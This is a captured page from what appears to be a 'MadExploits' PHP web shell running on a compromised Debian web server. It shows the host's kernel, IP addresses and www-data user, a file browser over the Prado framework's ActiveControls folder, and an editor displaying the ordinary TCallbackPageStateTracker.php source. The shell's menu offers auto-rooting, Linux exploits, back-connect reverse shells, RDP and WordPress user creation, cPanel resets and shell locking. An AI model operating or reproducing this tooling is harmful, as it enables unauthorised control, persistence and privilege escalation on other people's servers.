Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.145.88.111
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
ActiveControls /
[ HOME SHELL ]
Name
Size
Permission
Action
IActiveControl.php
571
B
-rw-r--r--
ICallbackEventHandler.php
881
B
-rw-r--r--
TActiveBoundColumn.php
2.53
KB
-rw-r--r--
TActiveButton.php
4.19
KB
-rw-r--r--
TActiveButtonColumn.php
2.17
KB
-rw-r--r--
TActiveCheckBox.php
5.5
KB
-rw-r--r--
TActiveCheckBoxColumn.php
3.59
KB
-rw-r--r--
TActiveCheckBoxList.php
4.15
KB
-rw-r--r--
TActiveCheckBoxListItem.php
814
B
-rw-r--r--
TActiveClientScript.php
2.51
KB
-rw-r--r--
TActiveControlAdapter.php
4.76
KB
-rw-r--r--
TActiveCustomValidator.php
5.52
KB
-rw-r--r--
TActiveCustomValidatorClientSi...
2.33
KB
-rw-r--r--
TActiveDataGrid.php
7.38
KB
-rw-r--r--
TActiveDataGridPager.php
842
B
-rw-r--r--
TActiveDataGridPagerEventParam...
1.02
KB
-rw-r--r--
TActiveDataList.php
3.75
KB
-rw-r--r--
TActiveDatePicker.php
5.28
KB
-rw-r--r--
TActiveDatePickerClientScript....
1.28
KB
-rw-r--r--
TActiveDropDownList.php
4.26
KB
-rw-r--r--
TActiveDropDownListColumn.php
2.33
KB
-rw-r--r--
TActiveEditCommandColumn.php
2.08
KB
-rw-r--r--
TActiveFileUpload.php
16.59
KB
-rw-r--r--
TActiveFileUploadCallbackParam...
737
B
-rw-r--r--
TActiveFileUploadItem.php
1.36
KB
-rw-r--r--
TActiveHiddenField.php
1.76
KB
-rw-r--r--
TActiveHtmlArea.php
3.18
KB
-rw-r--r--
TActiveHtmlArea5.php
3.15
KB
-rw-r--r--
TActiveHyperLink.php
3.45
KB
-rw-r--r--
TActiveHyperLinkColumn.php
2.29
KB
-rw-r--r--
TActiveImage.php
3.06
KB
-rw-r--r--
TActiveImageButton.php
5.33
KB
-rw-r--r--
TActiveLabel.php
2.67
KB
-rw-r--r--
TActiveLinkButton.php
4.86
KB
-rw-r--r--
TActiveListBox.php
4.43
KB
-rw-r--r--
TActiveListControlAdapter.php
4.18
KB
-rw-r--r--
TActiveListItemCollection.php
2.88
KB
-rw-r--r--
TActiveLiteralColumn.php
2.73
KB
-rw-r--r--
TActiveMultiView.php
3.54
KB
-rw-r--r--
TActivePageAdapter.php
9.87
KB
-rw-r--r--
TActivePager.php
6.39
KB
-rw-r--r--
TActivePanel.php
2.77
KB
-rw-r--r--
TActiveRadioButton.php
5.56
KB
-rw-r--r--
TActiveRadioButtonItem.php
824
B
-rw-r--r--
TActiveRadioButtonList.php
3.84
KB
-rw-r--r--
TActiveRatingList.php
4.12
KB
-rw-r--r--
TActiveRepeater.php
4.45
KB
-rw-r--r--
TActiveTableCell.php
7.01
KB
-rw-r--r--
TActiveTableCellEventParameter...
1.77
KB
-rw-r--r--
TActiveTableRow.php
7.6
KB
-rw-r--r--
TActiveTableRowEventParameter....
1.78
KB
-rw-r--r--
TActiveTemplateColumn.php
2.56
KB
-rw-r--r--
TActiveTextBox.php
3.7
KB
-rw-r--r--
TBaseActiveCallbackControl.php
8.29
KB
-rw-r--r--
TBaseActiveControl.php
3.65
KB
-rw-r--r--
TCallback.php
2.95
KB
-rw-r--r--
TCallbackClientScript.php
24.66
KB
-rw-r--r--
TCallbackClientSide.php
8.14
KB
-rw-r--r--
TCallbackErrorHandler.php
3.53
KB
-rw-r--r--
TCallbackEventParameter.php
2.27
KB
-rw-r--r--
TCallbackOptions.php
1.26
KB
-rw-r--r--
TCallbackPageStateTracker.php
5.39
KB
-rw-r--r--
TCallbackResponseAdapter.php
2.38
KB
-rw-r--r--
TCallbackResponseWriter.php
1.67
KB
-rw-r--r--
TEventTriggeredCallback.php
2.38
KB
-rw-r--r--
TInPlaceTextBox.php
8.29
KB
-rw-r--r--
TInvalidCallbackException.php
595
B
-rw-r--r--
TMapCollectionDiff.php
874
B
-rw-r--r--
TScalarDiff.php
711
B
-rw-r--r--
TStyleDiff.php
2.35
KB
-rw-r--r--
TTimeTriggeredCallback.php
3.54
KB
-rw-r--r--
TTriggeredCallback.php
1.65
KB
-rw-r--r--
TValueTriggeredCallback.php
3.21
KB
-rw-r--r--
TViewStateDiff.php
1.07
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TCallbackPageStateTracker.php
<?php /** * TActiveControlAdapter and TCallbackPageStateTracker class file. * * @author Wei Zhuo <weizhuo[at]gamil[dot]com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\ActiveControls; use Prado\Collections\TMap; use stdClass; /** * TCallbackPageStateTracker class. * * Tracking changes to the page state during callback. * * @author Wei Zhuo <weizhuo[at]gmail[dot]com> * @since 3.1 */ class TCallbackPageStateTracker { /** * @var TMap new view state data */ private $_states; /** * @var TMap old view state data */ private $_existingState; /** * @var \Prado\Web\UI\TControl the control tracked */ protected $_control; /** * @var object null object. */ private $_nullObject; /** * Constructor. Add a set of default states to track. * @param \Prado\Web\UI\TControl $control control to track. */ public function __construct($control) { $this->_control = $control; $this->_existingState = new TMap(); $this->_nullObject = new stdClass(); $this->_states = new TMap(); $this->addStatesToTrack(); } /** * Add a list of view states to track. Each state is added * to the StatesToTrack property with the view state name as key. * The value should be an array with two enteries. The first entery * is the name of the class that will calculate the state differences. * The second entry is a php function/method callback that handles * the changes in the viewstate. */ protected function addStatesToTrack() { $states = $this->getStatesToTrack(); $states['Visible'] = ['TScalarDiff', [$this, 'updateVisible']]; $states['Enabled'] = ['TScalarDiff', [$this, 'updateEnabled']]; $states['Attributes'] = ['TMapCollectionDiff', [$this, 'updateAttributes']]; $states['Style'] = ['TStyleDiff', [$this, 'updateStyle']]; $states['TabIndex'] = ['TScalarDiff', [$this, 'updateTabIndex']]; $states['ToolTip'] = ['TScalarDiff', [$this, 'updateToolTip']]; $states['AccessKey'] = ['TScalarDiff', [$this, 'updateAccessKey']]; } /** * @return TMap list of viewstates to track. */ protected function getStatesToTrack() { return $this->_states; } /** * Start tracking view state changes. The clone function on objects are called * for those viewstate having an object as value. */ public function trackChanges() { foreach ($this->_states as $name => $value) { $obj = $this->_control->getViewState($name); $this->_existingState[$name] = is_object($obj) ? clone($obj) : $obj; } } /** * @return array list of viewstate and the changed data. */ protected function getChanges() { $changes = []; foreach ($this->_states as $name => $details) { $new = $this->_control->getViewState($name); $old = $this->_existingState[$name]; if ($new !== $old) { $diff = new $details[0]($new, $old, $this->_nullObject); if (($change = $diff->getDifference()) !== $this->_nullObject) { $changes[] = [$details[1], [$change]]; } } } return $changes; } /** * For each of the changes call the corresponding change handlers. */ public function respondToChanges() { foreach ($this->getChanges() as $change) { call_user_func_array($change[0], $change[1]); } } /** * @return TCallbackClientScript callback client scripting */ protected function client() { return $this->_control->getPage()->getCallbackClient(); } /** * Updates the tooltip. * @param string $value new tooltip */ protected function updateToolTip($value) { $this->client()->setAttribute($this->_control, 'title', $value); } /** * Updates the tab index. * @param int $value tab index */ protected function updateTabIndex($value) { $this->client()->setAttribute($this->_control, 'tabindex', $value); } /** * Updates the modifier access key * @param string $value access key */ protected function updateAccessKey($value) { $this->client()->setAttribute($this->_control, 'accesskey', $value); } /** * Hides or shows the control on the client-side. The control must be * already rendered on the client-side. * @param bool $visible true to show the control, false to hide. */ protected function updateVisible($visible) { if ($visible === false) { $this->client()->replaceContent($this->_control, "<span id=\"" . $this->_control->getClientID() . "\" style=\"display:none\" ></span>"); } else { $this->client()->replaceContent($this->_control, $this->_control); } } /** * Enables or Disables the control on the client-side. * @param bool $enable true to enable the control, false to disable. */ protected function updateEnabled($enable) { $this->client()->setAttribute($this->_control, 'disabled', $enable === false); } /** * Updates the CSS style on the control on the client-side. * @param array $style list of new CSS style declarations. */ protected function updateStyle($style) { if ($style['CssClass'] !== null) { $this->client()->setAttribute($this->_control, 'class', $style['CssClass']); } if (is_array($style['Style']) && count($style['Style']) > 0) { $this->client()->setStyle($this->_control, $style['Style']); } } /** * Updates/adds a list of attributes on the control. * @param array $attributes list of attribute name-value pairs. */ protected function updateAttributes($attributes) { foreach ($attributes as $name => $value) { $this->client()->setAttribute($this->_control, $name, $value); } } }
Close